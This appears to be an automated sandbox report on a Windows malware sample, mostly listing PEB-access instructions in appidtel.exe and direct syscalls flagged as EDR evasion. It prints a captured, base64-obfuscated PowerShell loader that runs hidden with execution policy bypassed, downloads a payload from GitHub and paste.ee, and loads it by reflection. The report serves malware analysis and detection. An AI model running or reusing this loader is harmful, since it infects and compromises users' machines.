Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397D0C0 mov eax, dword ptr fs:[00000030h]	10_2_0397D0C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039420F0 mov ecx, dword ptr fs:[00000030h]	10_2_039420F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FA0E3 mov ecx, dword ptr fs:[00000030h]	10_2_038FA0E3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039250E4 mov eax, dword ptr fs:[00000030h]	10_2_039250E4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039250E4 mov ecx, dword ptr fs:[00000030h]	10_2_039250E4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039860E0 mov eax, dword ptr fs:[00000030h]	10_2_039860E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039080E9 mov eax, dword ptr fs:[00000030h]	10_2_039080E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FC0F0 mov eax, dword ptr fs:[00000030h]	10_2_038FC0F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391E016 mov eax, dword ptr fs:[00000030h]	10_2_0391E016
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391E016 mov eax, dword ptr fs:[00000030h]	10_2_0391E016
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391E016 mov eax, dword ptr fs:[00000030h]	10_2_0391E016
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391E016 mov eax, dword ptr fs:[00000030h]	10_2_0391E016
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03984000 mov ecx, dword ptr fs:[00000030h]	10_2_03984000
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C903E mov eax, dword ptr fs:[00000030h]	10_2_039C903E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C903E mov eax, dword ptr fs:[00000030h]	10_2_039C903E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C903E mov eax, dword ptr fs:[00000030h]	10_2_039C903E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C903E mov eax, dword ptr fs:[00000030h]	10_2_039C903E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FA020 mov eax, dword ptr fs:[00000030h]	10_2_038FA020
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FC020 mov eax, dword ptr fs:[00000030h]	10_2_038FC020
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03902050 mov eax, dword ptr fs:[00000030h]	10_2_03902050
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392B052 mov eax, dword ptr fs:[00000030h]	10_2_0392B052
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039A705E mov ebx, dword ptr fs:[00000030h]	10_2_039A705E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039A705E mov eax, dword ptr fs:[00000030h]	10_2_039A705E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03986050 mov eax, dword ptr fs:[00000030h]	10_2_03986050
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov ecx, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03911070 mov eax, dword ptr fs:[00000030h]	10_2_03911070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392C073 mov eax, dword ptr fs:[00000030h]	10_2_0392C073
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397D070 mov ecx, dword ptr fs:[00000030h]	10_2_0397D070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398106E mov eax, dword ptr fs:[00000030h]	10_2_0398106E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D5060 mov eax, dword ptr fs:[00000030h]	10_2_039D5060
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BF78A mov eax, dword ptr fs:[00000030h]	10_2_039BF78A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392D7B0 mov eax, dword ptr fs:[00000030h]	10_2_0392D7B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D37B6 mov eax, dword ptr fs:[00000030h]	10_2_039D37B6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039897A9 mov eax, dword ptr fs:[00000030h]	10_2_039897A9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF7BA mov eax, dword ptr fs:[00000030h]	10_2_038FF7BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398F7AF mov eax, dword ptr fs:[00000030h]	10_2_0398F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398F7AF mov eax, dword ptr fs:[00000030h]	10_2_0398F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398F7AF mov eax, dword ptr fs:[00000030h]	10_2_0398F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398F7AF mov eax, dword ptr fs:[00000030h]	10_2_0398F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398F7AF mov eax, dword ptr fs:[00000030h]	10_2_0398F7AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039007AF mov eax, dword ptr fs:[00000030h]	10_2_039007AF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390C7C0 mov eax, dword ptr fs:[00000030h]	10_2_0390C7C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039057C0 mov eax, dword ptr fs:[00000030h]	10_2_039057C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039057C0 mov eax, dword ptr fs:[00000030h]	10_2_039057C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039057C0 mov eax, dword ptr fs:[00000030h]	10_2_039057C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039807C3 mov eax, dword ptr fs:[00000030h]	10_2_039807C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039047FB mov eax, dword ptr fs:[00000030h]	10_2_039047FB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039047FB mov eax, dword ptr fs:[00000030h]	10_2_039047FB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390D7E0 mov ecx, dword ptr fs:[00000030h]	10_2_0390D7E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398E7E1 mov eax, dword ptr fs:[00000030h]	10_2_0398E7E1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039227ED mov eax, dword ptr fs:[00000030h]	10_2_039227ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039227ED mov eax, dword ptr fs:[00000030h]	10_2_039227ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039227ED mov eax, dword ptr fs:[00000030h]	10_2_039227ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03900710 mov eax, dword ptr fs:[00000030h]	10_2_03900710
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03930710 mov eax, dword ptr fs:[00000030h]	10_2_03930710
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393F71F mov eax, dword ptr fs:[00000030h]	10_2_0393F71F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393F71F mov eax, dword ptr fs:[00000030h]	10_2_0393F71F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03905702 mov eax, dword ptr fs:[00000030h]	10_2_03905702
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03905702 mov eax, dword ptr fs:[00000030h]	10_2_03905702
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03907703 mov eax, dword ptr fs:[00000030h]	10_2_03907703
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393C700 mov eax, dword ptr fs:[00000030h]	10_2_0393C700
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039DB73C mov eax, dword ptr fs:[00000030h]	10_2_039DB73C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039DB73C mov eax, dword ptr fs:[00000030h]	10_2_039DB73C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039DB73C mov eax, dword ptr fs:[00000030h]	10_2_039DB73C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039DB73C mov eax, dword ptr fs:[00000030h]	10_2_039DB73C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397C730 mov eax, dword ptr fs:[00000030h]	10_2_0397C730
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03935734 mov eax, dword ptr fs:[00000030h]	10_2_03935734
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390973A mov eax, dword ptr fs:[00000030h]	10_2_0390973A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390973A mov eax, dword ptr fs:[00000030h]	10_2_0390973A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393273C mov eax, dword ptr fs:[00000030h]	10_2_0393273C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393273C mov ecx, dword ptr fs:[00000030h]	10_2_0393273C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393273C mov eax, dword ptr fs:[00000030h]	10_2_0393273C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03903720 mov eax, dword ptr fs:[00000030h]	10_2_03903720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391F720 mov eax, dword ptr fs:[00000030h]	10_2_0391F720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391F720 mov eax, dword ptr fs:[00000030h]	10_2_0391F720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391F720 mov eax, dword ptr fs:[00000030h]	10_2_0391F720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393C720 mov eax, dword ptr fs:[00000030h]	10_2_0393C720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393C720 mov eax, dword ptr fs:[00000030h]	10_2_0393C720
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BF72E mov eax, dword ptr fs:[00000030h]	10_2_039BF72E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C972B mov eax, dword ptr fs:[00000030h]	10_2_039C972B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9730 mov eax, dword ptr fs:[00000030h]	10_2_038F9730
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9730 mov eax, dword ptr fs:[00000030h]	10_2_038F9730
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03900750 mov eax, dword ptr fs:[00000030h]	10_2_03900750
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942750 mov eax, dword ptr fs:[00000030h]	10_2_03942750
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942750 mov eax, dword ptr fs:[00000030h]	10_2_03942750
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398E75D mov eax, dword ptr fs:[00000030h]	10_2_0398E75D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03984755 mov eax, dword ptr fs:[00000030h]	10_2_03984755
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03913740 mov eax, dword ptr fs:[00000030h]	10_2_03913740
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03913740 mov eax, dword ptr fs:[00000030h]	10_2_03913740
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03913740 mov eax, dword ptr fs:[00000030h]	10_2_03913740
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D3749 mov eax, dword ptr fs:[00000030h]	10_2_039D3749
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393674D mov esi, dword ptr fs:[00000030h]	10_2_0393674D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393674D mov eax, dword ptr fs:[00000030h]	10_2_0393674D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393674D mov eax, dword ptr fs:[00000030h]	10_2_0393674D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03908770 mov eax, dword ptr fs:[00000030h]	10_2_03908770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03910770 mov eax, dword ptr fs:[00000030h]	10_2_03910770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB765 mov eax, dword ptr fs:[00000030h]	10_2_038FB765
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB765 mov eax, dword ptr fs:[00000030h]	10_2_038FB765
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB765 mov eax, dword ptr fs:[00000030h]	10_2_038FB765
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FB765 mov eax, dword ptr fs:[00000030h]	10_2_038FB765
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03904690 mov eax, dword ptr fs:[00000030h]	10_2_03904690
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03904690 mov eax, dword ptr fs:[00000030h]	10_2_03904690
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398368C mov eax, dword ptr fs:[00000030h]	10_2_0398368C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398368C mov eax, dword ptr fs:[00000030h]	10_2_0398368C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398368C mov eax, dword ptr fs:[00000030h]	10_2_0398368C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398368C mov eax, dword ptr fs:[00000030h]	10_2_0398368C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039366B0 mov eax, dword ptr fs:[00000030h]	10_2_039366B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FD6AA mov eax, dword ptr fs:[00000030h]	10_2_038FD6AA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FD6AA mov eax, dword ptr fs:[00000030h]	10_2_038FD6AA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393C6A6 mov eax, dword ptr fs:[00000030h]	10_2_0393C6A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F76B2 mov eax, dword ptr fs:[00000030h]	10_2_038F76B2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F76B2 mov eax, dword ptr fs:[00000030h]	10_2_038F76B2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F76B2 mov eax, dword ptr fs:[00000030h]	10_2_038F76B2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390B6C0 mov eax, dword ptr fs:[00000030h]	10_2_0390B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390B6C0 mov eax, dword ptr fs:[00000030h]	10_2_0390B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390B6C0 mov eax, dword ptr fs:[00000030h]	10_2_0390B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390B6C0 mov eax, dword ptr fs:[00000030h]	10_2_0390B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390B6C0 mov eax, dword ptr fs:[00000030h]	10_2_0390B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390B6C0 mov eax, dword ptr fs:[00000030h]	10_2_0390B6C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C16CC mov eax, dword ptr fs:[00000030h]	10_2_039C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C16CC mov eax, dword ptr fs:[00000030h]	10_2_039C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C16CC mov eax, dword ptr fs:[00000030h]	10_2_039C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C16CC mov eax, dword ptr fs:[00000030h]	10_2_039C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393A6C7 mov ebx, dword ptr fs:[00000030h]	10_2_0393A6C7
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393A6C7 mov eax, dword ptr fs:[00000030h]	10_2_0393A6C7
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BF6C7 mov eax, dword ptr fs:[00000030h]	10_2_039BF6C7
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039316CF mov eax, dword ptr fs:[00000030h]	10_2_039316CF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E6F2 mov eax, dword ptr fs:[00000030h]	10_2_0397E6F2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E6F2 mov eax, dword ptr fs:[00000030h]	10_2_0397E6F2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E6F2 mov eax, dword ptr fs:[00000030h]	10_2_0397E6F2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E6F2 mov eax, dword ptr fs:[00000030h]	10_2_0397E6F2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039806F1 mov eax, dword ptr fs:[00000030h]	10_2_039806F1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039806F1 mov eax, dword ptr fs:[00000030h]	10_2_039806F1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BD6F0 mov eax, dword ptr fs:[00000030h]	10_2_039BD6F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392D6E0 mov eax, dword ptr fs:[00000030h]	10_2_0392D6E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392D6E0 mov eax, dword ptr fs:[00000030h]	10_2_0392D6E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039936EE mov eax, dword ptr fs:[00000030h]	10_2_039936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039936EE mov eax, dword ptr fs:[00000030h]	10_2_039936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039936EE mov eax, dword ptr fs:[00000030h]	10_2_039936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039936EE mov eax, dword ptr fs:[00000030h]	10_2_039936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039936EE mov eax, dword ptr fs:[00000030h]	10_2_039936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039936EE mov eax, dword ptr fs:[00000030h]	10_2_039936EE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039336EF mov eax, dword ptr fs:[00000030h]	10_2_039336EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03903616 mov eax, dword ptr fs:[00000030h]	10_2_03903616
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03903616 mov eax, dword ptr fs:[00000030h]	10_2_03903616
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03942619 mov eax, dword ptr fs:[00000030h]	10_2_03942619
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393F603 mov eax, dword ptr fs:[00000030h]	10_2_0393F603
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03931607 mov eax, dword ptr fs:[00000030h]	10_2_03931607
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391260B mov eax, dword ptr fs:[00000030h]	10_2_0391260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391260B mov eax, dword ptr fs:[00000030h]	10_2_0391260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391260B mov eax, dword ptr fs:[00000030h]	10_2_0391260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391260B mov eax, dword ptr fs:[00000030h]	10_2_0391260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391260B mov eax, dword ptr fs:[00000030h]	10_2_0391260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391260B mov eax, dword ptr fs:[00000030h]	10_2_0391260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391260B mov eax, dword ptr fs:[00000030h]	10_2_0391260B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0397E609 mov eax, dword ptr fs:[00000030h]	10_2_0397E609
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF626 mov eax, dword ptr fs:[00000030h]	10_2_038FF626
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FF626 mov eax, dword ptr fs:[00000030h]	10_2_038FF626

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
